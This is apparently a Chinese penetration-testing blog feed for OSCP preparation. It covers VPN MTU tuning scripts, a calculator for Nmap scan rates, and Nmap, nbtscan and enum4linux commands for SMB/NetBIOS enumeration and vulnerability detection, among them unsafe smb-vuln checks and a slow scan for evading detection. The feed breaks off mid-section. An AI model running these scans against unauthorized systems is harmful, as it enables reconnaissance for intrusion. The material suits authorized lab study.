[ $packet_size -le 0 ]; then 84 echo \u0026#34;无效测试大小: $size (结果值: $packet_size)\u0026#34; 85 size=$((size + TEST_STEP)) 86 continue 87 fi 88 89 echo -n \u0026#34;测试包大小: $size字节 (MTU等效值: $((size + TUNNEL_OVERHEAD))字节)... \u0026#34; 90 91 if ping -c 2 -M do -s $packet_size $TARGET \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then 92 echo \u0026#34;成功!\u0026#34; 93 SUCCESS_SIZE=$size 94 break 95 else 96 echo \u0026#34;失败\u0026#34; 97 fi 98 99 # 避免无限循环 100 if [ $TEST_STEP -eq 0 ]; then 101 echo \u0026#34;警告: 步长为0可能导致无限循环!\u0026#34; 102 break 103 fi 104 105 size=$((size + TEST_STEP)) 106 done 107} 108 109# 执行测试 110echo \u0026#34;开始对$TARGET进行MTU测试...\u0026#34; 111test_mtu_range 112 113# 计算结果 114if [ \u0026#34;$SUCCESS_SIZE\u0026#34; -gt 0 ]; then 115 OPTIMAL_MTU=$((SUCCESS_SIZE + TUNNEL_OVERHEAD)) 116 echo \u0026#34;------------------------------------------------------\u0026#34; 117 echo \u0026#34;测试成功! 最大无分片包大小: $SUCCESS_SIZE字节\u0026#34; 118 echo \u0026#34;隧道包头开销: $TUNNEL_OVERHEAD字节\u0026#34; 119 echo \u0026#34;推荐MTU值: $OPTIMAL_MTU\u0026#34; 120 echo \u0026#34;计算: 包大小($SUCCESS_SIZE) + 开销($TUNNEL_OVERHEAD)\u0026#34; 121 122 # 设置最佳MTU 123 sudo ip link set dev tun0 mtu $OPTIMAL_MTU 124 echo \u0026#34;已将tun0 MTU设置为$OPTIMAL_MTU\u0026#34; 125else 126 echo \u0026#34;------------------------------------------------------\u0026#34; 127 echo \u0026#34;测试失败! 未找到有效MTU值\u0026#34; 128 echo \u0026#34;可能原因:\u0026#34; 129 echo \u0026#34;1. 目标$TARGET不可达\u0026#34; 130 echo \u0026#34;2. 测试范围不适用(尝试调整参数)\u0026#34; 131 echo \u0026#34;3. 网络环境特殊(防火墙阻止ICMP测试)\u0026#34; 132 133 # 还原初始设置 134 sudo ip link set dev tun0 mtu 1500 135 echo \u0026#34;已还原tun0 MTU为1500\u0026#34; 136fi 保存后给脚本添加课执行权限，然后通过以下命令测试最佳MTU值。\n1# 指定目标+完整范围测试 2./mtu-test.sh -t 192.168.116.72 -f 3 4# 自定义测试范围 5./mtu-test.sh -s 1450 -e 1100 -p -2 6 7# 设置隧道开销（适用于不同VPN协议） 8./mtu-test.sh -o 50 # OpenVPN等大包头协议 9 10# 更大步长覆盖宽范围 针对卫星链路优化 11./mtu-test.sh -t 192.168.1.100 -s 1500 -e 400 -p -20 -o 60 12 13# 精细步长测试可疑区间 14./mtu-test.sh -t 10.8.0.1 -s 1420 -e 1390 -p -1 -o 50 隧道开销参考值\nVPN协议 推荐开销值 包含内容 WireGuard 40-60 基本头+加密信息 OpenVPN 60-100 IP头+UDP头+OpenVPN封装头 IPsec 50-80 ESP头+认证数据+填充 L2TP 80-120 IP头+UDP头+L2TP头+PPP头 动态计算原理\n最终MTU = 最大无分片包大小(ICMP数据+28字节) + 隧道包头开销 Flower机场测试\n龙猫机场测试\n自建专线测试\n可以看到，不同机场能承载的MTU是有差距的，机场之间不同节点也是有差距的。\nNmap 最佳参数确定 理解 MTU、带宽和 Nmap 的 --min-rate 参数之间的关系，关键在于它们如何共同影响网络数据包传输的速率和效率，尤其是在进行网络扫描时。它们之间没有直接的数学公式，但相互影响显著：\nMTU (Maximum Transmission Unit - 最大传输单元):\n定义： 指网络链路层能够传输的最大数据帧（或数据包）的大小（以字节为单位）。常见值如以太网的 1500 字节（不含帧头）。 作用： 决定了单个数据包能承载的最大有效载荷（Payload）。如果应用层数据超过 MTU，它会被分片（Fragmentation）成多个数据包传输。 与扫描的关系： Nmap 发送的探测包大小取决于扫描类型（如 SYN 扫描包很小，UDP 扫描包可能接近 MTU）和选项（如 --data-length）。包的大小直接影响每个包在网络中传输所需的时间和资源。 带宽 (Bandwidth):\n定义： 指网络链路在单位时间内能够传输的最大数据量（以比特/秒为单位，如 Mbps, Gbps）。 作用： 这是网络的物理容量限制。它设定了数据流经特定路径的最大速率上限。 与扫描的关系： Nmap 扫描产生的总数据流量（所有发送和接收包的大小之和）除以扫描时间不能超过可用带宽（还需要考虑链路上的其他流量）。高带宽链路能承载更快的扫描速率。 Nmap 的 --min-rate \u0026lt;packets per second\u0026gt; 参数:\n定义： 强制 Nmap 尝试以至少指定的速率（每秒发送的包数）发送探测包。 作用： 主要用于加速扫描。它告诉 Nmap 不要低于这个发送速率，即使目标响应缓慢或丢包率高。它直接控制的是发包的速率（包/秒），而不是数据速率（比特/秒）。 与扫描的关系： 这是用户主动设置的一个目标速率下限，用于追求速度。但它受到 MTU 和带宽的物理限制。 三者如何相互作用：\n带宽是总容量的天花板：\n无论 --min-rate 设置得多高，Nmap 实际能达到的数据速率（比特/秒） 绝对不可能超过链路的可用带宽。 公式表示： (平均包大小 in bits) * (实际发包速率 in pps) \u0026lt;= 可用带宽 (in bps) 关键点： --min-rate 控制的是包/秒 (pps)，但带宽限制的是比特/秒 (bps)。包的大小（受 MTU 影响）是连接两者的桥梁。 MTU 影响包大小，进而影响数据速率：\n如果 Nmap 发送的探测包很大（接近 MTU），那么即使以中等的 --min-rate (pps) 发送，产生的数据速率 (bps) 也会很高，更容易接近或达到带宽上限。 如果 Nmap 发送的探测包很小（如 SYN 扫描包只有 60-70 字节），那么即使设置非常高的 --min-rate (pps)，产生的数据速率 (bps) 也可能远低于带宽上限。在这种情况下，瓶颈往往不在带宽，而在操作系统、网卡处理能力或目标响应能力上。 --min-rate 的追求与物理限制的冲突：\n追求高 pps： 用户设置高 --min-rate 是为了快速完成扫描（发送更多包/秒）。 带宽限制： 如果包足够大，高 pps 会迅速消耗带宽。一旦达到带宽上限，Nmap 就无法再提高 pps（除非包变小，但包大小通常由扫描类型决定）。 MTU 的间接影响： 大包（接近 MTU）使得在较低 pps 下就达到带宽上限的可能性更高，限制了 --min-rate 进一步提升 pps 的空间。小包则允许更高的 pps 而不触及带宽上限。 其他限制： 即使带宽允许，过高的 --min-rate 还可能超过操作系统或网卡的发送能力上限（PPS 上限），或者被网络设备（防火墙、路由器）的速率限制策略拦截，或者压垮目标主机导致其无法响应或产生大量丢包。 总结关系：\n带宽是绝对上限： 它限制了所有流量（包括扫描流量）的最大数据速率 (bps)。 MTU 影响效率： 它决定了单个包的最大尺寸。包的大小（由扫描类型和 MTU 共同决定）是连接发包速率 (pps - 由 --min-rate 控制) 和数据速率 (bps - 受带宽限制) 的关键因子。大包更容易使扫描流量触及带宽上限。 --min-rate 是用户目标： 它指定了 Nmap 尝试达到的最低发包速率 (pps)。它的实际效果受到带宽（通过包大小换算成数据速率）以及操作系统、网卡、网络设备能力、目标响应能力和延迟（RTT）的综合限制。 实际应用中的考虑：\n高速网络（高带宽）： 在小包扫描（如 SYN 扫描）中，--min-rate 可以设置得很高（几千甚至几万 pps），因为小包的高 pps 消耗的实际带宽相对较小，瓶颈通常在端点处理能力或网络延迟（RTT）。对于大包扫描（如大负载 UDP 扫描），高 --min-rate 更容易达到带宽上限。 低速网络（低带宽）： 即使是中等 --min-rate 或小包扫描，也容易达到带宽上限。设置过高的 --min-rate 不仅无效（实际速率上不去），还可能导致严重拥塞和丢包。 优化扫描： 理解网络带宽和典型 MTU 有助于合理设置 --min-rate。目标应该是找到在可用带宽和处理能力范围内尽可能快（高 pps）但不至于引起过度丢包或被防火墙封禁的速率。通常需要根据网络环境和扫描类型进行测试和调整。 避免拥塞： 在共享网络或生产环境中扫描时，过高的 --min-rate（尤其在大包情况下）会迅速消耗带宽，影响其他业务。务必谨慎使用并选择非高峰时段。 简言之：--min-rate 设定你想要的速度（包/秒），但你能跑多快，取决于你的车（包大小/MTU）和马路有多宽（带宽），还要考虑交通规则和其他车辆（网络设备、拥塞、延迟、端点性能）。 带宽是硬性限制，MTU 影响单个“货物单元”的大小，而 --min-rate 是你踩油门的力度。\n你可以使用简单的乘除法来估算--min-rate的值，也可以使用以下命令来自动计算。\n1#!/bin/bash 2 3# 安装必要工具 4if ! command -v bc \u0026amp;\u0026gt; /dev/null; then 5 echo \u0026#34;[*] 安装 bc (数学计算器)...\u0026#34; 6 sudo apt update \u0026amp;\u0026amp; sudo apt install -y bc 7fi 8 9if ! command -v speedtest-cli \u0026amp;\u0026gt; /dev/null; then 10 echo \u0026#34;[*] 安装 speedtest-cli...\u0026#34; 11 sudo apt install -y speedtest-cli 12fi 13 14# 获取最佳 MTU 15read -p \u0026#34;[?] 输入你测试的最佳 MTU (默认 1500): \u0026#34; MTU 16MTU=${MTU:-1500} 17 18# 测试带宽 19echo \u0026#34;[*] 正在测试带宽 (可能需要 30 秒)...\u0026#34; 20BANDWIDTH_MBPS=$(speedtest-cli --simple | awk \u0026#39;/Download/{print $2}\u0026#39;) 21if [ -z \u0026#34;$BANDWIDTH_MBPS\u0026#34; ]; then 22 echo \u0026#34;[!] 带宽测试失败! 手动输入值:\u0026#34; 23 read -p \u0026#34;[?] 输入你的带宽 (Mbps): \u0026#34; BANDWIDTH_MBPS 24else 25 echo \u0026#34;[+] 测得带宽: ${BANDWIDTH_MBPS} Mbps\u0026#34; 26fi 27 28# 选择扫描类型 29echo \u0026#34;[?] 选择扫描类型:\u0026#34; 30echo \u0026#34; 1) SYN 扫描 (小包, 74 字节)\u0026#34; 31echo \u0026#34; 2) UDP 扫描 (大包, MTU 大小)\u0026#34; 32read -p \u0026#34;选项 (1/2): \u0026#34; SCAN_TYPE 33 34case $SCAN_TYPE in 35 1) 36 PACKET_SIZE=74 37 echo \u0026#34;[+] 使用 SYN 扫描 (包大小: 74 字节)\u0026#34; 38 ;; 39 2) 40 PACKET_SIZE=$((MTU + 18)) 41 echo \u0026#34;[+] 使用 UDP 扫描 (包大小: ${PACKET_SIZE} 字节)\u0026#34; 42 ;; 43 *) 44 echo \u0026#34;[!] 无效选项! 使用默认 SYN 扫描\u0026#34; 45 PACKET_SIZE=74 46 ;; 47esac 48 49# 计算理论最大 pps (带宽 Mbps * 1e6 / (包大小 * 8)) 50THEORETICAL_PPS=$(echo \u0026#34;scale=2; $BANDWIDTH_MBPS * 1000000 / ($PACKET_SIZE * 8)\u0026#34; | bc) 51 52# 计算安全值 (理论值的 50%) 53SAFE_PPS=$(echo \u0026#34;scale=0; $THEORETICAL_PPS * 0.5 / 1\u0026#34; | bc) 54 55# 计算首次扫描建议值 (理论值的 70%) 56INITIAL_PPS=$(echo \u0026#34;scale=0; $THEORETICAL_PPS * 0.7 / 1\u0026#34; | bc) 57 58# 输出结果 59echo -e \u0026#34;\\n[+] 计算结果:\u0026#34; 60echo \u0026#34;--------------------------------\u0026#34; 61echo \u0026#34;带宽: $BANDWIDTH_MBPS Mbps\u0026#34; 62echo \u0026#34;MTU: $MTU 字节\u0026#34; 63echo \u0026#34;扫描包大小: $PACKET_SIZE 字节\u0026#34; 64echo \u0026#34;理论最大速率: $THEORETICAL_PPS pps\u0026#34; 65echo \u0026#34;--------------------------------\u0026#34; 66echo -e \u0026#34;\\n[★] 建议 Nmap 参数:\u0026#34; 67echo \u0026#34;安全扫描: nmap --min-rate $SAFE_PPS ...\u0026#34; 68echo \u0026#34;快速扫描: nmap --min-rate $INITIAL_PPS ...\u0026#34; 69echo -e \u0026#34;\\n[!] 提示:\u0026#34; 70echo \u0026#34;- 首次扫描建议使用快速扫描值\u0026#34; 71echo \u0026#34;- 若遇丢包，降低至安全扫描值\u0026#34; 72echo \u0026#34;- 在敏感网络环境中，建议从更低的速率开始\u0026#34; 保存后，赋予执行权限即可。\n1chmod +x nmap-optimizer.sh 2# 配合mtu测试脚本使用 3./mtu-test.sh -t 192.168.140.72 -f 4./nmap-optimizer.sh 此方法给出的参数值比较保守，适合在普通公网环境探测时使用，打靶机Nmap扫描时建议将此参数略高6-8倍。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-16T16:45:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/kali%E4%B8%9D%E6%BB%91%E8%BF%9E%E6%8E%A5offsec%E5%AE%98%E6%96%B9%E7%9A%84%E6%96%B9%E6%B3%95/","title":"【踩坑总结】丝滑连接OffSec官方VPN的方法"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nNmap核心扫描流程与命令回顾 主机发现 (找出哪些 IP 是活动的): sudo nmap -sn 192.168.1.0/24 -sn: (No Port Scan) 只进行主机发现（发送 ARP、ICMP Echo 等请求），不扫描端口。快速识别网络上哪些主机是“活”的。\n替代/相关参数:\n-PE / -PP / -PM: 指定使用特定的 ICMP 类型进行 Echo/时间戳/地址掩码请求。 -PO [protocol list]: 使用 IP 协议 ping (例如 -PO1,2,4 用于 ICMP, IGMP, IPIP)。 --traceroute: 在主机发现或扫描后追踪路由。 --dns-servers \u0026lt;servers\u0026gt;: 指定自定义 DNS 服务器进行反向解析。 全端口扫描 (找出活动主机上哪些端口是开放的): sudo nmap -p- 192.168.1.1 -p-: 扫描所有 65535 个 TCP 端口。 sudo nmap -p- 192.168.1.1 --open --open: 仅显示处于 open 状态的端口。非常有用的筛选器，去除 closed 和 filtered 状态的端口，使结果更清晰。\n替代/相关参数:\n-p \u0026lt;port ranges\u0026gt;: 最灵活的端口指定方式。支持单端口(22), 范围(1-100), 逗号分隔列表(21,22,80,443,8000-9000), 组合(1-100,443,8080)。这是日常最常用的方法，替代 -p- 以避免时间过长。 -F (快速扫描): 扫描 nmap-services 文件中定义的较少的常见端口 (约 100 个)。 --top-ports \u0026lt;num\u0026gt;: 扫描最常见的 \u0026lt;num\u0026gt; 个端口（基于 Nmap 的数据库）。 -sU: 进行 UDP 端口扫描 (与 -p, -p- 结合使用，如 sudo nmap -sU -p- --open 192.168.1.1 扫描所有 UDP 端口)。注意：UDP 扫描通常慢得多。 服务与版本探测 (确定特定开放端口运行的服务及其版本): sudo nmap -p21,22,23 -sV 192.168.1.1 -sV: (版本探测) 的核心参数。Nmap 尝试连接指定端口，分析响应，并与已知服务指纹数据库比较，推断服务名称(如 ssh, http, ftp)和版本号(如 OpenSSH 8.9p1)。\n-p \u0026lt;ports\u0026gt;: 指定要探测版本的端口，这里是 21,22,23。\n替代/相关参数:\n-A (强力扫描): 包含 -sV 和 -O (操作系统检测)，以及一些脚本扫描(-sC)。提供更全面的信息，但耗时更长、动静更大。 -sC (脚本扫描): 使用默认的 NSE 脚本集进行更深入的探测。脚本可以提供更具体的应用信息、安全漏洞检查(vuln 类别)、服务枚举(discovery 类别)等。常与 -sV 结合使用 (-sC -sV 或 -A)。 --script=\u0026lt;script\u0026gt; | \u0026lt;category\u0026gt; 指定运行特定的 NSE 脚本或脚本类别。提供极高的灵活性，如：\n--script=http-enum (枚举常见 Web 目录)\n--script=ftp-anon (检查 FTP 匿名登录)\n--script=smb-vuln* (检查 SMB 漏洞)\n--script=vuln (运行所有安全漏洞检查类脚本)\n--script=banner (获取简单的 banner 信息，比 -sV 更轻量)\n--version-intensity \u0026lt;level\u0026gt;: (0-9) 控制 -sV 探测的强度。0 最弱最快（仅尝试最简单直接的探测），9 最强最慢（尝试所有探测）。默认是 7。在需要快速扫描或扫描已知服务时可调低。\n--version-light: 等同于 --version-intensity 2。更快但准确性略低的轻量级版本探测。\n--version-all: 等同于 --version-intensity 9。最彻底但也最慢。\n-O (操作系统检测): 尝试检测目标主机的操作系统。需要管理员/ROOT权限 (sudo)。\n重要用法与技巧总结：\n命令组合： 可以将多个步骤合并成一条命令，提高效率： 一步到位扫主机+端口： sudo nmap -sn -p- --open 192.168.1.0/24 (不推荐，主机发现后每个主机都扫全端口太耗时，适合小网络或有目标主机范围)。更常见的是先扫主机 (-sn)，然后对发现的单个或少量主机扫端口 (-p- --open)。 一步到位扫端口+版本： sudo nmap -p- --open -sV 192.168.1.1 (最常用组合之一：扫描所有开放端口并检测服务版本)。 一步到位全面扫描： sudo nmap -sV -sC -O --open -p- 192.168.1.1 (相当于 -A 加上 -p- 和 --open，非常全面但动静大、时间长)。 输出结果： -oN \u0026lt;filename\u0026gt;: 输出结果到普通文本文件。 -oX \u0026lt;filename\u0026gt;: 输出结果到 XML 文件 (便于解析和处理)。 -oG \u0026lt;filename\u0026gt;: 输出结果到“Grepable”格式 (旧格式，不太推荐用，但便于快速命令行过滤)。 -v / -vv: 增加输出的详细程度，显示更多扫描过程信息。 性能与隐秘性 (考试尤其注意！)： -T\u0026lt;0-5\u0026gt;: 时序模板。控制扫描速度/攻击性。-T0 (偏执级，极慢极隐蔽) 到 -T5 (疯狂级，极快极明显)。考试常用 -T4 (激进级，速度较快，默认是 -T3 正常级)。避免太慢导致任务无法完成。 --min-rate \u0026lt;number\u0026gt;, --max-rate \u0026lt;number\u0026gt;: 精确控制每秒发送包的最小/最大值。 --max-parallelism \u0026lt;number\u0026gt;: 控制最大并发探针数量。 -Pn (No Ping): 将所有主机视为在线，跳过主机发现阶段直接扫描端口。在已知主机在线或目标防火墙禁用了 PING 响应时使用（在渗透测试扫描中很常用）。 -n (No DNS resolution): 不进行 DNS 反向解析，加快速度。 端口服务探测方法的比较与考试建议 Nmap (-sV) 的优势与原理： 核心方法： 主要通过发送特定的网络层探测包（例如 TCP SYN、ACK 等）并分析响应（包括 Banner、协议行为、服务指纹特征）来识别服务。 准确性： 在常见服务识别上非常准确。 特别适用于网络层的判断（端口状态、协议、基础服务识别）。 限制： 探测深度主要停留在网络层/传输层，缺乏对复杂应用层协议逻辑的深入交互测试。 提高精度：MSF 模块的应用 原理： Metasploit (MSF) 框架提供专门的服务扫描模块。这些模块会模拟客户端行为，发送特定于应用层协议（如 HTTP、FTP、SMB 等）的合法或试探性请求。 优势： 由于深入到了应用层交互，探测结果通常比 Nmap -sV 的精度更高、信息更详细。 适用场景： 需要极高精度判断服务及版本时。 考试环境的关键考量： MSF 的使用限制： 考试通常禁止或严格限制使用 MSF 或类似的渗透测试框架（即使仅用于信息收集扫描）。 Nmap 的适用性： 考试环境下，Nmap (-sV) 足以满足需求。 原因1： 其准确性在考试要求范围内有保障。 原因2： 考试“靶机”通常不对 Nmap 探测做特别复杂的屏蔽或干扰（不像真实环境可能配置 IDS/IPS 或修改服务响应）。 流量控制： 务必注意扫描时的流量大小，避免触发目标系统的安全机制或对网络造成过大负载。强烈建议使用代理或代理池进行扫描（尤其在模拟生产环境或有流量监控的场景）。 重要原则与警示 破除端口固化思维：\n端口号 ≠ 服务类型： 管理员可以自定义端口（如 FTP 不一定在 21，SSH 不一定在 22）。 示例: 80 端口上未必是 Web 服务 (HTTP/HTTPS)，也可能运行 FTP、SSH 或其他任何服务。技术上是完全可行的。 结论： 绝不能仅凭端口号默认推断服务！ 必须依赖扫描工具的结果。 核心结论（针对考试） 首选工具： Nmap (特别是 -sV 参数)。\n原因：\n满足考试对服务识别的精度要求。 易用且可靠。 考试靶机环境对其友好，不易被阻碍。 避免使用受限的 MSF。 关键注意事项： 始终注意控制扫描流量，建议通过代理执行扫描任务。\nSMB枚举 什么是 SMB？\nSMB（Server Message Block），也称为 CIFS（Common Internet File System），是一种网络文件共享协议。 主要功能： 允许网络中的计算机（客户端）访问服务器上的共享资源，如文件、打印机、串行端口等，以及执行远程管理任务。 广泛应用： Windows 核心服务： 是 Windows 域环境、文件服务器、打印服务器的基础通信协议。Windows 系统默认会启用 SMB 服务并开放相关端口。 其他系统支持： Linux 和 macOS 也提供了 Samba 软件或原生支持来充当 SMB 服务器或客户端，以实现与 Windows 系统的互操作性。 安全性历史： 协议实现复杂且本身具有一定开放性，导致历史上存在大量高危漏洞（例如著名的 EternalBlue / MS17-010）。 早期系统（如 Windows 2000/XP）曾存在无需身份验证的“空会话”安全漏洞（允许匿名访问）。 随着时间推移，虽然进行了多次安全加固和补丁更新，但因其广泛部署和协议本身的复杂性，SMB 仍然是渗透测试和安全扫描的重点目标。 SMB 通常开放哪些端口？\nTCP 139: 该端口用于在 NetBIOS over TCP/IP (NetBT) 上运行的旧版 SMB 通信。这是早期 Windows 系统实现网络共享的方式。 TCP 445: 现代 SMB 协议使用的端口。它直接在 TCP 上运行，不再依赖 NetBIOS。这是目前 Windows（Vista 及之后）和 Linux (Samba) 上 SMB 服务的主要端口。 关键点： 在较新的 Windows 系统（Vista+）上，TCP 445 是主要的 SMB 端口，TCP 139 有时可能出于兼容性而开启。 仅看到 TCP 139/445 开放，即可高度怀疑主机上运行着 SMB 服务（无论是 Windows 还是 Linux/Samba）。 如何使用 Nmap 扫描发现 SMB？ 识别 SMB 服务通常是你描述的“信息收集链条”中的一环（IP发现 -\u0026gt; 端口发现 -\u0026gt; 服务识别/版本确认 -\u0026gt; 漏洞探测）。针对 SMB 的具体扫描方法如下：\n基本端口扫描确认：\nsudo nmap -p139,445 --open \u0026lt;target_ip_or_range\u0026gt; -p139,445: 明确扫描这两个 SMB 相关端口。\n--open: 仅显示状态为 open 的端口，过滤掉关闭或过滤的端口。\n此命令会告诉你目标主机上 139 和 445 端口是否开放。\n服务/版本探测（基本确认 SMB）：\nsudo nmap -p139,445 -sV \u0026lt;target_ip\u0026gt; -sV: 启用版本探测功能。Nmap 会尝试连接这些端口，分析响应特征并匹配其服务指纹数据库。 输出结果中，如果端口对应服务是 SMB，你会看到类似 microsoft-ds? (445), netbios-ssn? (139) 的初步信息。 Nmap 的 -sV 指纹识别非常准确，看到开放的 139/445 端口且 -sV 识别出 msrpc, netbios-ssn, microsoft-ds, smb 等服务名，即可基本确认是 SMB。 -sV 通常也能识别出操作系统类型（Windows/Linux）和Samba的版本号。 更深入的探测（强力扫描/Aggressive Scan）：\nsudo nmap -p139,445 -A \u0026lt;target_ip\u0026gt; -A : 这是一个“强力”选项组合，等价于 -sV -sC -O --traceroute。\n-sV: 服务版本探测。 -sC: 运行默认的 Nmap 脚本引擎（NSE）脚本进行扫描。对于 SMB 端口，默认脚本会尝试获取更多的信息，如主机名（smb-os-discovery.nse）、域信息、共享列表枚举（smb-enum-shares.nse）等。它会自动调用一系列与 SMB 相关的安全、发现类脚本。 -O: 进行操作系统检测。 这是一站式信息收集的方式，提供关于 SMB 服务、主机操作系统及其配置最丰富的细节（包括通过脚本获得的共享名等信息），但扫描速度较慢且产生的网络流量/噪音更大。\n针对性 SMB 脚本扫描（灵活性最高）：\nsudo nmap -p445 --script smb-* \u0026lt;target_ip\u0026gt; # 运行所有名字以\u0026#34;smb-\u0026#34;开头的脚本（小心，很多！） sudo nmap -p445 --script=\u0026#34;smb-os-discovery,smb-enum-shares,smb-vuln-*\u0026#34; \u0026lt;target_ip\u0026gt; # 更精准的选择 sudo nmap -p445 --script smb-protocols \u0026lt;target_ip\u0026gt; # 查询支持的SMB协议版本 sudo nmap -p445 --script \u0026#34;vuln and safe\u0026#34; \u0026lt;target_ip\u0026gt; # 运行所有标记为\u0026#34;vuln\u0026#34;(漏洞)和\u0026#34;safe\u0026#34;(不入侵)类别的脚本进行安全检查 --script=\u0026lt;script_names\u0026gt;: 核心参数，允许精准指定要运行的 NSE 脚本。\n对于 SMB，有大量预装的smb-*脚本可用：\n信息枚举脚本： smb-os-discovery (操作系统/主机名/域), smb-enum-shares (列出共享), smb-enum-users (尝试枚举用户), smb-system-info (更多系统信息), smb-protocols (支持的 SMB 协议版本)。 安全检查/漏洞扫描脚本： smb-vuln-ms17-010 (永恒之蓝检查), smb-vuln-cve2009-3103, smb-vuln-* (针对各种 SMB 漏洞)。\n认证相关脚本： smb-brute (尝试暴力破解), smb-enum-sessions (列出活动会话 - 需认证)。 使用特定脚本可以提供最精确、最定制化的信息，尤其是进行漏洞关联（根据端口扫描得到的 SMB 版本信息，针对性运行对应的 smb-vuln-* 脚本检查已知漏洞）。\nNetBIOS服务 一、核心协议与端口 协议/服务 传输层 端口 功能 NetBIOS TCP 139 会话服务（主机间通信优化） UDP 137 名称服务（主机名解析） UDP 138 数据报服务（广播通信） SMB TCP 445 文件/打印共享（现代独立协议） 📌 关键关系： 现代 SMB（445/TCP）可脱离 NetBIOS 运行，但为兼容旧系统（如 Win NT），​​NBT（NetBIOS over TCP/IP）​​ 常与 SMB 协同工作（139+445 共存）。\n二、扫描场景与工具 1. 端口扫描（nmap） 目标：探测 139/445 端口状态 ​​命令​​：\nnmap -v -p139,445 -oG smb.txt 192.168.1.1-254 参数解析：\n参数 作用 -v 详细输出（显示实时进展） -p139,445 指定扫描端口 -oG smb.txt 输出可处理格式（Grepable） 192.168.1.1-254 C 段 IP 扫描范围 输出分析：\nOpen：服务活跃（可能存在漏洞） Filtered：防火墙阻断（需绕过） 2. NetBIOS 名称枚举（nbtscan） 目标：通过 UDP 137 端口获取主机 NetBIOS 名称表 ​​命令​​：\n1sudo nbtscan -r 10.11.1.0/24 参数解析：\n参数 作用 -r 使用 UDP 137 查询名称服务 10.11.1.0/24 扫描网段 sudo 需 root 权限（Linux/Unix） 输出解析：\n192.168.1.101 MYPC \u0026lt;00\u0026gt; WORKGROUP File Server 192.168.1.102 DC-SERVER \u0026lt;20\u0026gt; DOMAIN Domain Controller \u0026lt;00\u0026gt;：工作站服务，\u0026lt;20\u0026gt;：文件服务器，\u0026lt;1B\u0026gt;：域主浏览器\n三、安全实践与注意事项 漏洞风险：\n139/445 端口开放：易受永恒之蓝（MS17-010）、Pass the Hash 攻击 NetBIOS 暴露：主机名/工作组信息泄露（网络拓扑测绘） 防护建议：\n关闭不必要的 NetBIOS 服务（netsh int ipv4 set netbios disable） 防火墙阻断外部访问 137-139/UDP 和 445/TCP 升级 SMB 协议版本（禁用 SMBv1） 扫描合规性：\n必须获得授权：未经许可扫描可能触法\n规避检测：\n1nmap -T2 -sS --script smb-security-mode -p445 target_ip 2# 慢速扫描+SMB安全检测 四、技术逻辑图 graph LR A[扫描目标] --\u003e B{端口探测} B --\u003e|139/TCP| C[NetBIOS 会话服务] B --\u003e|445/TCP| D[SMB 文件共享] B --\u003e|137/UDP| E[NetBIOS 名称服务] E --\u003e F[获取主机名列表] C \u0026 D --\u003e G[漏洞检测] G --\u003e H{风险类型} H --\u003e I[未授权访问] H --\u003e J[远程代码执行]练习 7.3.2.1 使用 Nmap 列出实验环境中所有运行 Windows 系统的 SMB 服务器。 使用 NSE 脚本扫描这些系统是否存在 SMB 漏洞。 使用 nbtscan 和 enum4linux 工具对这些系统进行扫描，分析不同版本 Windows 系统中可获取的数据类型。 1. 识别运行 Windows 的 SMB 服务器 nmap -p445 --open --script smb-os-discovery -oG windows-smb.txt 192.168.x.0/24 关键参数解析：\n-p445：扫描 SMB 默认端口（TCP 445） --open：仅显示开放端口的主机 --script smb-os-discovery：通过 SMB 协议识别操作系统 -oG windows-smb.txt：输出为 Grepable 格式 ​​结果筛选​​： grep \u0026#34;Windows\u0026#34; windows-smb.txt | awk \u0026#39;{print $2}\u0026#39; # 输出所有运行 Windows 的 SMB 服务器 IP 2. 扫描 SMB 漏洞（NSE 脚本） nmap -p445 --script smb-vuln* --script-args=unsafe=1 -iL windows-ips.txt 关键参数解析：\n--script smb-vuln*：运行所有 smb-vuln 开头的漏洞检测脚本 --script-args=unsafe=1：启用高风险检测（如 CVE-2017-0143） -iL windows-ips.txt：从文件读取目标 IP（上一步结果） ​​重点漏洞检测​​： smb-vuln-ms17-010：永恒之蓝漏洞 smb-vuln-cve2009-3103：SMBv2 漏洞 3. 跨版本 Windows 数据枚举分析 nbtscan（获取 NetBIOS 信息） sudo nbtscan -r -q 192.168.x.x 输出示例：\n192.168.1.10 WIN10-PC \u0026lt;00\u0026gt; WORKGROUP Workstation 192.168.1.20 WIN2019-DC \u0026lt;1B\u0026gt; MYDOMAIN Domain Master 关键信息解读：\n\u0026lt;00\u0026gt;：工作站服务 | \u0026lt;1B\u0026gt;：域主浏览器 低版本 Windows（如 Win7）：暴露共享列表、用户组 高版本 Windows（如 Win10）：默认隐藏部分信息，需凭据枚举 enum4linux（深度枚举） enum4linux -a 192.168.x.x \u0026gt; windows-enum.txt 输出结果对比：\n信息类型 Windows 7/Server 2008 Windows 10/Server 2019 共享列表 直接可见 需管理员凭据 本地用户 完整枚举 部分过滤 域组信息 完全公开 需域用户权限 SID 历史记录 可获取 被阻断 技术总结 Nmap 筛选机制：通过 smb-os-discovery 识别 Windows 可规避 Linux Samba 干扰 NSE 扫描策略：smb-vuln-* 脚本需配合 unsafe=1 参数检测高危漏洞 版本差异要点： 旧版 Windows（≤ Win7）：通过空会话暴露大量数据 新版 Windows（≥ Win10）：需凭证或提权后才可获取敏感信息 ​​实践建议​​： # 组合扫描命令（需保存凭据时使用） enum4linux -u \u0026#39;admin\u0026#39; -p \u0026#39;P@ssw0rd\u0026#39; -a 192.168.1.x Nmap SMB漏洞探测实战指南 一、核心扫描方法 1. 专用脚本扫描（推荐） # 永恒之蓝检测（MS17-010） nmap -p139,445 --script smb-vuln-ms17-010 51.145.2.17 # MS08-067漏洞检测 nmap -p139,445 --script smb-vuln-ms08-067 192.168.1.3 结果解读：\n✅ 存在漏洞：显示VULNERABLE标志及CVE编号 ⛔ 无漏洞：显示Safe或版本信息 替代-A的精准扫描方案\n2. 操作系统识别 nmap -v -p139,445 --script=smb-os-discovery 192.168.1.3 输出关键： OS: Windows 10/Server 2019（版本号直接影响漏洞利用）\n二、辅助工具验证 1. smbclient 匿名探测 # 